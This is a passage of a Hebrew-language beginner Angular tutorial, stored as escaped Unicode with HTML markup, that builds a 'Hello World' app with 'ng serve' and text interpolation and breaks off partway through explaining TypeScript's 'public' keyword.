\u05de\u05d0\u05d5\u05d3 \u05d7\u05e9\u05d5\u05d1 \u05dc\u05d1\u05d3\u05d5\u05e7 (\u05db\u05de\u05e2\u05d8) \u05db\u05dc \u05e4\u05d5\u05e0\u05e7\u05e6\u05d9\u05d4, \u05db\u05d9\u05d5\u05d5\u05df \u05e9\u05d4\u05e4\u05d5\u05e0\u05e7\u05e6\u05d9\u05d5\u05ea \u05e9\u05e0\u05db\u05ea\u05d5\u05d1 \u05d9\u05d4\u05d9\u05d5 \u05e7\u05e6\u05ea \u05d9\u05d5\u05ea\u05e8 \u05de\u05d5\u05e8\u05db\u05d1\u05d5\u05ea \u05de\u05e1\u05ea\u05dd \u05dc\u05d7\u05e9\u05d1 \u05d0\u05ea \u05d4\u05e2\u05e8\u05da \u05e9\u05dc \u05e9\u05e0\u05d9 \u05de\u05e1\u05e4\u05e8\u05d9\u05dd …<\/p>\n
\u05dc\u05db\u05df \u05e0\u05e8\u05e6\u05d4 \u05dc\u05d5\u05d5\u05d3\u05d0 \u05e9\u05d4\u05e7\u05d5\u05d3 \u05ea\u05e7\u05d9\u05df \u05d5\u05e2\u05d5\u05d1\u05d3. \u05d0\u05d1\u05dc \u05d6\u05d4 \u05e0\u05d5\u05e9\u05d0 \u05d1\u05e4\u05e0\u05d9 \u05e2\u05e6\u05de\u05d5 \u05d5\u05db\u05e8\u05d2\u05e2 \u05d0\u05e0\u05d7\u05e0\u05d5 \u05e8\u05e7 \u05d1\u05d4\u05ea\u05d7\u05dc\u05d4. \u05db\u05e4\u05d9 \u05e9\u05db\u05d1\u05e8 \u05e6\u05d9\u05d9\u05e0\u05ea\u05d9, \u05d0\u05ea\u05dd \u05d9\u05db\u05d5\u05dc\u05d9\u05dd \u05dc\u05e4\u05ea\u05d7 \u05d0\u05e4\u05dc\u05d9\u05e7\u05e6\u05d9\u05d4 \u05e9\u05dc\u05de\u05d4 \u05d1\u05dc\u05d9 \u05dc\u05db\u05ea\u05d5\u05d1 \u05d1\u05d3\u05d9\u05e7\u05ea \u05d9\u05d7\u05d9\u05d3\u05d4 \u05d0\u05d7\u05ea. \u05d0\u05d1\u05dc, \u05db\u05de\u05d5\u05d1\u05df \u05e9\u05d6\u05d4 \u05dc\u05d0 \u05de\u05d5\u05de\u05dc\u05e5. \u05d1\u05d3\u05d9\u05e7\u05d5\u05ea \u05d9\u05d7\u05d9\u05d3\u05d4 \u05d4\u05dd \u05d7\u05dc\u05e7 \u05d1\u05dc\u05ea\u05d9 \u05e0\u05e4\u05e8\u05d3 \u05de\u05ea\u05d4\u05dc\u05d9\u05da \u05d4\u05e4\u05d9\u05ea\u05d5\u05d7. \u05d1\u05d9\u05d9\u05d7\u05d5\u05d3 \u05d1\u05ea\u05e2\u05e9\u05d9\u05d9\u05d4. \u05db\u05e9\u05d0\u05ea\u05dd \u05db\u05d5\u05ea\u05d1\u05d9\u05dd \u05d0\u05e4\u05dc\u05d9\u05e7\u05e6\u05d9\u05d4 \u05d1\u05d1\u05d9\u05ea \u05d1\u05e9\u05d1\u05d9\u05dc \u05d4\u05db\u05d9\u05e3, \u05db\u05e0\u05e8\u05d0\u05d4 \u05e9\u05dc\u05d0 \u05de\u05de\u05e9 \u05ea\u05e7\u05e4\u05d9\u05d3\u05d5 \u05e2\u05dc testing (\u05e8\u05d2\u05e2 \u05e9\u05dc \u05db\u05e0\u05d5\u05ea – \u05d2\u05dd \u05d0\u05e0\u05d9 \u05db\u05e9\u05d0\u05e0\u05d9 \u05de\u05e4\u05ea\u05d7 \u05dc\u05e2\u05e6\u05de\u05d9 \u05d0\u05e0\u05d9 \u05dc\u05d0 \u05de\u05de\u05e9 \u05de\u05e7\u05e4\u05d9\u05d3 \u05dc\u05db\u05ea\u05d5\u05d1 \u05d1\u05d3\u05d9\u05e7\u05d5\u05ea \u05d9\u05d7\u05d9\u05d3\u05d4… – \u05d0\u05d1\u05dc \u05e9\u05e9\u05e9, \u05d0\u05dc \u05ea\u05e1\u05e4\u05e8\u05d5 !!) , \u05d0\u05d1\u05dc \u05d1\u05e2\u05d1\u05d5\u05d3\u05d4 \u05ea\u05e6\u05d8\u05e8\u05db\u05d5 \u05dc\u05db\u05ea\u05d5\u05d1. \u05d5\u05d4\u05e8\u05d1\u05d4. \u05dc\u05de\u05e2\u05e9\u05d4, \u05d1\u05e8\u05d5\u05d1 \u05d4\u05de\u05e7\u05d5\u05de\u05d5\u05ea \u05ea\u05d4\u05d9\u05d5 \u05d7\u05d9\u05d9\u05d1\u05d9\u05dd. \u05d0\u05d1\u05dc \u05dc\u05d0 \u05e0\u05d5\u05e8\u05d0, \u05d6\u05d4 \u05dc\u05d0 \u05db\u05d6\u05d4 \u05de\u05e1\u05d5\u05d1\u05da, \u05d5\u05d0\u05e4\u05d9\u05dc\u05d5 \u05dc\u05e4\u05e2\u05de\u05d9\u05dd \u05d3\u05d9 \u05db\u05d9\u05e3.<\/p>\n
app.module.ts:<\/p>\n
\u05db\u05d1\u05e8 \u05d0\u05de\u05e8\u05e0\u05d5 \u05e9\u05d0\u05e4\u05dc\u05d9\u05e7\u05e6\u05d9\u05d9\u05ea \u05d0\u05e0\u05d2\u05d5\u05dc\u05e8 \u05de\u05d5\u05e8\u05db\u05d1\u05ea \u05de\u05de\u05d5\u05d3\u05d5\u05dc\u05d9\u05dd, \u05e9\u05de\u05db\u05d9\u05dc\u05d9\u05dd \u05d1\u05ea\u05d5\u05db\u05dd \u05e7\u05d5\u05de\u05e4\u05d5\u05e0\u05e0\u05d8\u05d5\u05ea. \u05d4\u05d1\u05e8\u05d9\u05e8\u05ea \u05de\u05d7\u05d3\u05dc \u05db\u05d0\u05e9\u05e8 \u05d9\u05d5\u05e6\u05e8\u05d9\u05dd \u05d0\u05e4\u05dc\u05d9\u05e7\u05e6\u05d9\u05d9\u05d4 \u05d7\u05d3\u05e9\u05d4 \u05d4\u05d9\u05d0 \u05d4\u05de\u05d5\u05d3\u05d5\u05dc \u05d4\u05d6\u05d4 \u05e9\u05d4 – CLI \u05d9\u05d5\u05e6\u05e8. \u05e2\u05e7\u05e8\u05d5\u05e0\u05d9\u05ea, \u05e0\u05d9\u05ea\u05df \u05dc\u05d4\u05d9\u05e9\u05d0\u05e8 \u05e2\u05dd \u05d4\u05de\u05d5\u05d3\u05d5\u05dc \u05d4\u05d6\u05d4 \u05d1\u05dc\u05d1\u05d3 \u05d5\u05e4\u05e9\u05d5\u05d8 \u05dc\u05d4\u05d5\u05e1\u05d9\u05e3 \u05ea\u05d7\u05ea\u05d9\u05d5 \u05e7\u05d5\u05de\u05e4\u05d5\u05e0\u05e0\u05d8\u05d5\u05ea. \u05e9\u05d5\u05d1, \u05d6\u05d4 \u05dc\u05d0 \u05de\u05de\u05e9 \u05de\u05d5\u05de\u05dc\u05e5. \u05d4\u05d3\u05e8\u05da \u05d4\u05e0\u05db\u05d5\u05e0\u05d4 \u05dc\u05d1\u05e0\u05d5\u05ea \u05d0\u05e4\u05dc\u05d9\u05e7\u05e6\u05d9\u05d4 \u05d4\u05d9\u05d0 \u05e2\u05dc \u05d9\u05d3\u05d9 \u05d7\u05dc\u05d5\u05e7\u05d4 \u05dc\u05de\u05d5\u05d3\u05d5\u05dc\u05d9\u05dd. \u05db\u05da \u05e9\u05dc\u05db\u05dc \u05de\u05d5\u05d3\u05d5\u05dc \u05d9\u05e9 \u05d0\u05ea \u05d4\u05e7\u05d5\u05de\u05e4\u05d5\u05e0\u05e0\u05d8\u05d5\u05ea \u05e9\u05dc\u05d5. \u05db\u05db\u05d4 \u05d4\u05e7\u05d5\u05d3 \u05e7\u05e8\u05d9\u05d0 \u05d9\u05d5\u05ea\u05e8, \u05e7\u05dc \u05d9\u05d5\u05ea\u05e8 \u05dc\u05d1\u05e6\u05e2 \u05d1\u05d3\u05d9\u05e7\u05d5\u05ea, \u05d5\u05db\u05d5\u05f3.<\/p>\n
\u05d0\u05ea \u05d4\u05d7\u05dc\u05d5\u05e7\u05d4 \u05dc\u05de\u05d5\u05d3\u05d5\u05dc\u05d9\u05dd \u05d0\u05d2\u05d1, \u05d7\u05e9\u05d5\u05d1 \u05dc\u05e2\u05e9\u05d5\u05ea \u05dc\u05e4\u05e0\u05d9 \u05e9\u05de\u05ea\u05d7\u05d9\u05dc\u05d9\u05dd \u05dc\u05e4\u05ea\u05d7 \u05d0\u05ea \u05d4\u05d0\u05e4\u05dc\u05d9\u05e7\u05e6\u05d9\u05d4. \u05d0\u05e4\u05e9\u05e8 \u05d2\u05dd \u05dc\u05d0\u05d7\u05e8 \u05e9\u05de\u05ea\u05d7\u05d9\u05dc\u05d9\u05dd, \u05d0\u05d1\u05dc \u05d0\u05d6 \u05d6\u05d4 \u05d1\u05dc\u05d0\u05d2\u05df. \u05db\u05d0\u05e9\u05e8 \u05de\u05e7\u05d1\u05dc\u05d9\u05dd \u05d0\u05ea \u05d4\u05de\u05e4\u05e8\u05d8 \u05dc\u05d0\u05ea\u05e8 \/ \u05d0\u05e4\u05dc\u05d9\u05e7\u05e6\u05d9\u05d4, \u05d0\u05d5 \u05db\u05e9\u05d9\u05e9 \u05e8\u05e2\u05d9\u05d5\u05df \u05dc\u05d0\u05ea\u05e8 \u05d0\u05d5 \u05d0\u05e4\u05dc\u05d9\u05e7\u05e6\u05d9\u05d4, \u05d7\u05e9\u05d5\u05d1 \u05dc\u05e9\u05d1\u05ea \u05dc\u05e4\u05e0\u05d9, \u05d5\u05dc\u05ea\u05db\u05e0\u05df \u05d0\u05ea \u05d4\u05de\u05d1\u05e0\u05d4 \u05d4\u05dc\u05d5\u05d2\u05d9 \u05e9\u05dc \u05d4\u05d0\u05ea\u05e8 \/ \u05d0\u05e4\u05dc\u05d9\u05e7\u05e6\u05d9\u05d4. \u05db\u05d3\u05d0\u05d9 \u05de\u05de\u05e9 \u05dc\u05e9\u05d1\u05ea \u05e2\u05dd \u05e2\u05d9\u05e4\u05e8\u05d5\u05df, \u05e2\u05d8 \u05d5\u05e0\u05d9\u05d9\u05e8 \u05d5\u05dc\u05e9\u05e8\u05d8\u05d8 \u05d0\u05ea \u05de\u05d1\u05e0\u05d4 \u05d4\u05d0\u05ea\u05e8. \u05d4\u05d3\u05e4\u05d9\u05dd \u05e9\u05d9\u05d4\u05d9\u05d5 \u05d1\u05d5 \u05d5\u05db\u05d5\u05f3. \u05d5\u05d0\u05d6 \u05dc\u05d4\u05d7\u05dc\u05d9\u05d8 \u05e2\u05dc \u05d4\u05de\u05d5\u05d3\u05d5\u05dc\u05d9\u05dd. \u05e2\u05e7\u05e8\u05d5\u05e0\u05d9\u05ea \u05d0\u05ea\u05dd \u05d9\u05db\u05d5\u05dc\u05d9\u05dd \u05dc\u05d4\u05d7\u05dc\u05d9\u05d8 \u05e9\u05db\u05dc \u05e7\u05d9\u05e9\u05d5\u05e8 \u05d1\u05ea\u05e4\u05e8\u05d9\u05d8 \u05d9\u05d4\u05d9\u05d4 \u05dc\u05d5 \u05de\u05d5\u05d3\u05d5\u05dc \u05de\u05e9\u05dc\u05d5. \u05d6\u05d4 \u05e0\u05ea\u05d5\u05df \u05dc\u05d1\u05d7\u05d9\u05e8\u05ea\u05db\u05dd. \u05d7\u05e9\u05d5\u05d1 \u05e9\u05d6\u05d4 \u05d1\u05e8\u05d5\u05e8 \u05d5\u05d4\u05d2\u05d9\u05d5\u05e0\u05d9. \u05d1\u05d3\u05f4\u05db \u05de\u05e7\u05d5\u05d1\u05dc \u05dc\u05d9\u05e6\u05d5\u05e8 \u05de\u05d5\u05d3\u05d5\u05dc shared \u05e9\u05d9\u05db\u05d9\u05dc \u05d1\u05ea\u05d5\u05db\u05d5 \u05d0\u05ea \u05d4\u05e7\u05d5\u05de\u05e4\u05d5\u05e0\u05e0\u05d8\u05d5\u05ea \u05d4\u05e0\u05e4\u05d5\u05e6\u05d5\u05ea, services (\u05e0\u05dc\u05de\u05d3 \u05d1\u05d4\u05de\u05e9\u05da), directives, \u05d5\u05db\u05d5\u05f3. \u05d0\u05d1\u05dc, \u05db\u05dc \u05d6\u05d4, \u05d1\u05d4\u05de\u05e9\u05da \u05d4\u05dc\u05d9\u05de\u05d5\u05d3.<\/p>\n
\u05ea\u05d7\u05d9\u05dc\u05ea \u05e2\u05d1\u05d5\u05d3\u05d4:<\/strong><\/span><\/p>\n
\u05d1\u05d5\u05d0\u05d5 \u05e0\u05d9\u05d2\u05e9 \u05dc\u05e2\u05d1\u05d5\u05d3\u05d4. \u05d9\u05d0\u05dc\u05dc\u05d4 \u05dc\u05d4\u05e4\u05e9\u05d9\u05dc \u05e9\u05e8\u05d5\u05d5\u05dc\u05d9\u05dd.<\/p>\n
\u05e2\u05db\u05e9\u05d9\u05d5, \u05db\u05e9\u05d9\u05e9 \u05dc\u05e0\u05d5 \u05d4\u05d1\u05e0\u05d4 \u05e8\u05d0\u05e9\u05d5\u05e0\u05d9\u05ea \u05e9\u05dc \u05de\u05d4 \u05d6\u05d4 \u05d0\u05e0\u05d2\u05d5\u05dc\u05e8 \u05d5\u05d0\u05ea \u05de\u05d1\u05e0\u05d4 \u05d4\u05d0\u05e4\u05dc\u05d9\u05e7\u05e6\u05d9\u05d4, \u05d1\u05d5\u05d0\u05d5 \u05e0\u05db\u05ea\u05d5\u05d1 \u05d0\u05ea \u05d4\u05d0\u05e4\u05dc\u05d9\u05e7\u05e6\u05d9\u05d4 \u05d4\u05e8\u05d0\u05e9\u05d5\u05e0\u05d4 \u05e9\u05dc\u05e0\u05d5. \u05d1\u05d0\u05d5\u05e4\u05df \u05de\u05e1\u05d5\u05e8\u05ea\u05d9, \u05db\u05de\u05e2\u05d8 \u05d1\u05db\u05dc \u05e9\u05e4\u05ea \u05ea\u05db\u05e0\u05d5\u05ea \u05e9\u05dc\u05d5\u05de\u05d3\u05d9\u05dd, \u05d4\u05ea\u05db\u05e0\u05d9\u05ea \u05d4\u05e8\u05d0\u05e9\u05d5\u05e0\u05d4 \u05e9\u05db\u05d5\u05ea\u05d1\u05d9\u05dd \u05d4\u05d9\u05d0 "\u05e9\u05dc\u05d5\u05dd \u05e2\u05d5\u05dc\u05dd" (Hello world). \u05d0\u05d6 \u05d1\u05d5\u05d0\u05d5 \u05e0\u05db\u05ea\u05d5\u05d1 \u05d2\u05dd \u05d0\u05e0\u05d7\u05e0\u05d5 \u05d0\u05ea \u05d0\u05e4\u05dc\u05d9\u05e7\u05e6\u05d9\u05d9\u05ea \u05e9\u05dc\u05d5\u05dd \u05e2\u05d5\u05dc\u05dd \u05e9\u05dc\u05e0\u05d5.<\/p>\n
\u05ea\u05e4\u05ea\u05d7\u05d5 \u05d0\u05ea \u05d4\u05e7\u05d5\u05d1\u05e5 app.component.html \u05d1\u05e2\u05d5\u05e8\u05da \u05e7\u05d5\u05d3 \u05e9\u05dc\u05db\u05dd (notepad++, VSCode, \u05d0\u05d5 \u05db\u05dc \u05de\u05d4 \u05e9\u05d1\u05d0 \u05dc\u05db\u05dd …), \u05d5\u05d3\u05d1\u05e8 \u05e8\u05d0\u05e9\u05d5\u05df \u05ea\u05de\u05d7\u05e7\u05d5 \u05d0\u05ea \u05db\u05dc \u05de\u05d4 \u05e9\u05db\u05e8\u05d2\u05e2 \u05d9\u05e9 \u05e9\u05dd. \u05d4\u05e7\u05d5\u05d3 \u05e9\u05d0\u05ea\u05dd \u05e8\u05d5\u05d0\u05d9\u05dd \u05d6\u05d4 \u05d0\u05e4\u05dc\u05d9\u05e7\u05e6\u05d9\u05d9\u05ea \u05d3\u05d5\u05d2\u05de\u05d0 \u05e9\u05d4 – CLI \u05d4\u05db\u05d9\u05df \u05e2\u05d1\u05d5\u05e8\u05db\u05dd \u05d1\u05d0\u05d5\u05e4\u05df \u05d0\u05d5\u05d8\u05d5\u05de\u05d8\u05d9. \u05d0\u05e0\u05d7\u05e0\u05d5 \u05dc\u05d0 \u05e6\u05e8\u05d9\u05db\u05d9\u05dd \u05d0\u05ea \u05d6\u05d4, \u05db\u05d9 \u05d0\u05e0\u05d7\u05e0\u05d5 \u05d4\u05d5\u05dc\u05db\u05d9\u05dd \u05dc\u05db\u05ea\u05d5\u05d1 \u05d0\u05ea \u05d4\u05d0\u05e4\u05dc\u05d9\u05e7\u05e6\u05d9\u05d4 \u05e9\u05dc\u05e0\u05d5.<\/p>\n
\u05e2\u05db\u05e9\u05d9\u05d5, \u05e4\u05e9\u05d5\u05d8 \u05ea\u05d5\u05e1\u05d9\u05e4\u05d5 \u05d0\u05ea \u05d4\u05e9\u05d5\u05e8\u05d4 \u05d4\u05d1\u05d0\u05d4 \u05dc\u05e7\u05d5\u05d1\u05e5 \u05d5\u05ea\u05e9\u05de\u05e8\u05d5 \u05d0\u05ea \u05d4\u05e9\u05d9\u05e0\u05d5\u05d9\u05d9\u05dd:<\/p>\n
<h1>\u05e9\u05dc\u05d5\u05dd \u05e2\u05d5\u05dc\u05dd<\/h1><\/pre>\n
 <\/p>\n
\u05d0\u05ea\u05dd \u05d9\u05db\u05d5\u05dc\u05d9\u05dd \u05e2\u05db\u05e9\u05d9\u05d5 \u05dc\u05d4\u05e8\u05d9\u05e5 \u05d0\u05ea \u05d4\u05d0\u05e4\u05dc\u05d9\u05e7\u05e6\u05d9\u05d4. \u05d6\u05d5\u05db\u05e8\u05d9\u05dd? \u05e4\u05d5\u05ea\u05d7\u05d9\u05dd \u05d0\u05ea \u05d4 – Command line, \u05de\u05e0\u05d5\u05d5\u05d8\u05d9\u05dd \u05dc\u05ea\u05d9\u05e7\u05d9\u05d9\u05d4 \u05d4\u05e8\u05d0\u05e9\u05d9\u05ea \u05d1\u05d4 \u05d9\u05e6\u05e8\u05ea\u05dd \u05d0\u05ea \u05d4\u05e4\u05e8\u05d5\u05d9\u05d9\u05e7\u05d8, \u05d5\u05de\u05e7\u05dc\u05d9\u05d3\u05d9\u05dd \u05d0\u05ea \u05d4\u05e4\u05e7\u05d5\u05d3\u05d4 \u05d4\u05d1\u05d0\u05d4:<\/p>\n
ng serve --open<\/pre>\n
\u05e2\u05db\u05e9\u05d9\u05d5 \u05de\u05d4 \u05e9\u05d9\u05e7\u05e8\u05d4, \u05d4 – CLI \u05d9\u05d4\u05d3\u05e8 (compile) \u05d0\u05ea \u05d4\u05d0\u05e4\u05dc\u05d9\u05e7\u05e6\u05d9\u05d4 \u05d5\u05d9\u05e8\u05d9\u05e5 \u05d0\u05d5\u05ea\u05d4 \u05d1\u05db\u05ea\u05d5\u05d1\u05ea http:\/\/localhost:4200 \u05d1\u05d3\u05e4\u05d3\u05e4\u05df \u05e9\u05dc\u05db\u05dd. \u05db\u05dc \u05e4\u05e2\u05dd \u05e9\u05ea\u05e9\u05e0\u05d5 \u05de\u05e9\u05d4\u05d5 \u05d5\u05ea\u05e9\u05de\u05e8\u05d5, \u05d4 – CLI \u05d9\u05e2\u05e9\u05d4 \u05d0\u05d5\u05d8\u05d5\u05de\u05d8\u05d9\u05ea refresh \u05d5\u05d9\u05e6\u05d9\u05d2 \u05d0\u05ea \u05d4\u05e9\u05d9\u05e0\u05d5\u05d9\u05d9\u05dd.<\/p>\n
\u05d0\u05d6 \u05d4\u05e0\u05d4 \u05d4\u05d0\u05e4\u05dc\u05d9\u05e7\u05e6\u05d9\u05d4 \u05d4\u05e8\u05d0\u05e9\u05d5\u05e0\u05d4 \u05e9\u05dc\u05db\u05dd \u05de\u05d5\u05db\u05e0\u05d4, \u05d5\u05db\u05e9\u05ea\u05e8\u05d9\u05e6\u05d5 \u05ea\u05e7\u05d1\u05dc\u05d5 \u05d1\u05d3\u05e4\u05d3\u05e4\u05df \u05d0\u05ea \u05d4\u05d4\u05d5\u05d3\u05e2\u05d4 \u05d4\u05d1\u05d0\u05d4: \u05e9\u05dc\u05d5\u05dd \u05e2\u05d5\u05dc\u05dd.<\/p>\n
\u05e0\u05d4\u05d3\u05e8, \u05db\u05ea\u05d1\u05e0\u05d5 \u05d0\u05ea \u05d0\u05e4\u05dc\u05d9\u05e7\u05e6\u05d9\u05d9\u05ea \u05d0\u05e0\u05d2\u05d5\u05dc\u05e8 \u05d4\u05e8\u05d0\u05e9\u05d5\u05e0\u05d4 \u05e9\u05dc\u05e0\u05d5. \u05d0\u05d1\u05dc \u05d4\u05d9\u05d9! \u05d1\u05e9\u05d1\u05d9\u05dc \u05d6\u05d4 \u05d0\u05e0\u05d7\u05e0\u05d5 \u05d1\u05d0\u05de\u05ea \u05e6\u05e8\u05d9\u05db\u05d9\u05dd \u05d0\u05ea \u05d0\u05e0\u05d2\u05d5\u05dc\u05e8?? \u05d4\u05e8\u05d9 \u05d9\u05db\u05d5\u05dc\u05e0\u05d5 \u05dc\u05e2\u05e9\u05d5\u05ea \u05d0\u05ea \u05d6\u05d4 \u05d2\u05dd \u05e2\u05dd html \u05e8\u05d2\u05d9\u05dc. \u05d1\u05e9\u05d1\u05d9\u05dc \u05de\u05d4 \u05d0\u05e0\u05d2\u05d5\u05dc\u05e8?? \u05e9\u05d0\u05dc\u05d4 \u05d8\u05d5\u05d1\u05d4. \u05d0\u05d6 \u05d1\u05d5\u05d0\u05d5 \u05e0\u05e0\u05e6\u05dc \u05d0\u05ea \u05d4\u05d9\u05db\u05d5\u05dc\u05d5\u05ea \u05e9\u05dc \u05d0\u05e0\u05d2\u05d5\u05dc\u05e8 \u05db\u05d3\u05d9 \u05dc\u05e9\u05d3\u05e8\u05d2 \u05e7\u05e6\u05ea \u05d0\u05ea \u05d4\u05d0\u05e4\u05dc\u05d9\u05e7\u05e6\u05d9\u05d4 \u05d4\u05d7\u05d3\u05e9\u05d4 \u05e9\u05dc\u05e0\u05d5, \u05d5\u05e2\u05dc \u05d4\u05d3\u05e8\u05da \u05e0\u05dc\u05de\u05d3 \u05d0\u05ea \u05d0\u05d7\u05ea \u05d4\u05ea\u05db\u05d5\u05e0\u05d5\u05ea \u05d4\u05d1\u05e1\u05d9\u05e1\u05d9\u05d5\u05ea \u05d5\u05d4\u05e2\u05d5\u05e6\u05de\u05ea\u05d9\u05d5\u05ea \u05e9\u05dc \u05d0\u05e0\u05d2\u05d5\u05dc\u05e8.<\/p>\n
\u05e7\u05d5\u05e8\u05d0\u05d9\u05dd \u05dc\u05d6\u05d4 \u05d0\u05d9\u05e0\u05d8\u05e8\u05e4\u05d5\u05dc\u05e6\u05d9\u05d4 (Text interpolation). \u05d1\u05e2\u05d6\u05e8\u05ea \u05d0\u05d9\u05e0\u05d8\u05e8\u05e4\u05d5\u05dc\u05e6\u05d9\u05d4 \u05d0\u05e0\u05d7\u05e0\u05d5 \u05d9\u05db\u05d5\u05dc\u05d9\u05dd \u05dc\u05d4\u05e6\u05d9\u05d2 \u05d1 – html \u05de\u05e9\u05ea\u05e0\u05d9\u05dd \u05de\u05de\u05d7\u05dc\u05e7\u05ea \u05d4 – Typescript. \u05db\u05dc\u05d5\u05de\u05e8, \u05e0\u05e0\u05d9\u05d7 \u05e9\u05d4\u05d2\u05d3\u05e8\u05e0\u05d5 \u05d1\u05de\u05d7\u05dc\u05e7\u05d4 \u05de\u05e9\u05ea\u05e0\u05d4:<\/p>\n
public message: string = \"Hello World\";<\/pre>\n
\u05e0\u05d5\u05db\u05dc \u05d1\u05e7\u05dc\u05d5\u05ea \u05dc\u05d4\u05e6\u05d9\u05d2 \u05d0\u05d5\u05ea\u05d5 \u05d1 – html \u05e2\u05dc \u05d9\u05d3\u05d9 \u05d0\u05d9\u05e0\u05d8\u05e8\u05e4\u05d5\u05dc\u05e6\u05d9\u05d4. \u05d0\u05d9\u05da \u05e2\u05d5\u05e9\u05d9\u05dd \u05d0\u05ea \u05d6\u05d4 \u05d1\u05e4\u05d5\u05e2\u05dc? \u05e0\u05d5\u05e8\u05d0 \u05e4\u05e9\u05d5\u05d8: \u05d1\u05e2\u05d6\u05e8\u05ea \u05e1\u05d5\u05d2\u05e8\u05d9\u05d9\u05dd \u05de\u05e1\u05d5\u05dc\u05e1\u05dc\u05d9\u05dd. \u05d0\u05dd \u05e0\u05e9\u05d9\u05dd \u05d0\u05ea \u05d4\u05de\u05e9\u05ea\u05e0\u05d4 \u05d1\u05ea\u05d5\u05da \u05e1\u05d5\u05d2\u05e8\u05d9\u05d9\u05dd \u05de\u05e1\u05d5\u05dc\u05e1\u05dc\u05d9\u05dd \u05db\u05e4\u05d5\u05dc\u05d9\u05dd, \u05d4\u05d5\u05d0 \u05d9\u05d5\u05e6\u05d2 \u05d1\u05e7\u05d5\u05d1\u05e5 html.<\/p>\n
\u05d1\u05d5\u05d0\u05d5 \u05e0\u05e2\u05e9\u05d4 \u05d0\u05ea \u05d6\u05d4:<\/p>\n
\u05e0\u05e4\u05ea\u05d7 \u05d5\u05e0\u05e2\u05e8\u05d5\u05da \u05d0\u05ea \u05d4\u05e7\u05d5\u05d1\u05e5 app.component.ts: \u05e9\u05d9\u05de\u05d5 \u05dc\u05d1 \u05dc\u05de\u05d1\u05e0\u05d4 \u05e9\u05dc \u05d4\u05e7\u05d5\u05d1\u05e5. \u05e2\u05d5\u05d3 \u05e8\u05d2\u05e2 \u05e0\u05d1\u05d9\u05df \u05d0\u05d5\u05ea\u05d5. \u05d0\u05d1\u05dc \u05db\u05e8\u05d2\u05e2, \u05de\u05d4 \u05e9\u05de\u05e2\u05e0\u05d9\u05d9\u05df \u05d0\u05d5\u05ea\u05e0\u05d5 \u05d6\u05d4 \u05d4\u05d1\u05dc\u05d5\u05e7 \u05e7\u05d5\u05d3 \u05d4\u05d6\u05d4:<\/p>\n
export class AppComponent {\r\n    public message: string = \"Hello World\";\r\n}<\/pre>\n
\u05e9\u05d9\u05de\u05d5 \u05dc\u05d1 \u05e9\u05d4 – CLI \u05db\u05d1\u05e8 \u05e9\u05dd \u05dc\u05e0\u05d5 \u05d0\u05ea title = 'my-tutorial';<\/code><\/p>\n
\u05d0\u05e0\u05d7\u05e0\u05d5 \u05d9\u05db\u05d5\u05dc\u05d9\u05dd \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1\u05d6\u05d4, \u05d0\u05d1\u05dc \u05d1\u05d5\u05d0 \u05e0\u05db\u05ea\u05d5\u05d1 \u05d0\u05ea \u05d4\u05e7\u05d5\u05d3 \u05e9\u05dc\u05e0\u05d5. \u05d0\u05d6 \u05ea\u05de\u05d7\u05e7\u05d5 \u05d0\u05ea \u05d4\u05e9\u05d5\u05e8\u05d4 \u05d4\u05d6\u05d5 \u05d5\u05e9\u05d9\u05de\u05d5 \u05d1\u05de\u05e7\u05d5\u05dd \u05d0\u05ea \u05d4\u05e9\u05d5\u05e8\u05d4 \u05d4\u05d1\u05d0\u05d4: public message: string = \"Hello World\";<\/code><\/p>\n
\u05db\u05e2\u05ea, \u05d1\u05e7\u05d5\u05d1\u05e5 \u05d4 – html, \u05ea\u05d7\u05dc\u05d9\u05e4\u05d5 \u05d0\u05ea \u05d4\u05e9\u05d5\u05e8\u05d4 \u05d4\u05e7\u05d9\u05d9\u05de\u05ea \u05d1\u05e9\u05d5\u05e8\u05d4 \u05d4\u05d6\u05d5: <h1>{{message}}<\/h1><\/code><\/p>\n
\u05de\u05d4 \u05dc\u05de\u05e2\u05e9\u05d4 \u05e2\u05e9\u05d9\u05e0\u05d5 \u05e4\u05d4? \u05d0\u05d9\u05e0\u05d8\u05e8\u05e4\u05d5\u05dc\u05e6\u05d9\u05d4 \u05dc\u05de\u05e9\u05ea\u05e0\u05d4 message<\/code><\/p>\n
\u05d0\u05ea\u05dd \u05d9\u05db\u05d5\u05dc\u05d9\u05dd \u05e2\u05db\u05e9\u05d9\u05d5 \u05dc\u05ea\u05ea \u05db\u05dc \u05e2\u05e8\u05da \u05d0\u05d7\u05e8 \u05e9\u05d1\u05d0 \u05dc\u05db\u05dd \u05d1\u05de\u05d7\u05dc\u05e7\u05d4 (class) \u05dc – message \u05d5\u05d4\u05d5\u05d0 \u05d9\u05d5\u05e6\u05d2 \u05d1\u05d3\u05e3.<\/p>\n
\u05e2\u05db\u05e9\u05d9\u05d5 \u05ea\u05ea\u05d7\u05d9\u05dc\u05d5 \u05dc\u05d4\u05d1\u05d9\u05df \u05d0\u05ea \u05d4\u05e2\u05d5\u05e6\u05de\u05d4 \u05e9\u05dc \u05d0\u05e0\u05d2\u05d5\u05dc\u05e8.<\/p>\n
\u05d1\u05d5\u05d0\u05d5 \u05e0\u05e9\u05d9\u05dd \u05dc\u05d1 \u05dc\u05e9\u05ea\u05d9 \u05e0\u05e7\u05d5\u05d3\u05d5\u05ea \u05e7\u05d8\u05e0\u05d5\u05ea \u05d1\u05e7\u05d5\u05d3:<\/p>\n
    \n
  1. \u05d4\u05e9\u05ea\u05de\u05e9\u05ea\u05d9 \u05d1 – public<\/code> \u05dc\u05de\u05e9\u05ea\u05e0\u05d4. \u05d6\u05d4 \u05dc\u05d0 \u05d7\u05d5\u05d1\u05d4 \u05db\u05e8\u05d2\u05e2, \u05d0\u05d1\u05dc \u05d0\u05e0\u05d9 \u05e8\u05d5\u05e6\u05d4 \u05e9\u05ea\u05ea\u05d7\u05d9\u05dc\u05d5 \u05dc\u05d4\u05ea\u05e8\u05d2\u05dc \u05dc\u05db\u05ea\u05d5\u05d1 \u05e7\u05d5\u05d3 \u05e0\u05db\u05d5\u05df. Typescript \u05d4\u05d9\u05d0 \u05e9\u05e4\u05d4 \u05de\u05d5\u05e0\u05d7\u05d9\u05ea \u05e2\u05e6\u05de\u05d9\u05dd. \u05db\u05dc\u05d5\u05de\u05e8, \u05d0\u05e0\u05d7\u05e0\u05d5 \u05d9\u05db\u05d5\u05dc\u05d9\u05dd \u05dc\u05d4\u05d2\u05d3\u05d9\u05e8 \u05de\u05e9\u05ea\u05e0\u05d4 \u05db\u05e6\u05d9\u05d1\u05d5\u05e8\u05d9, 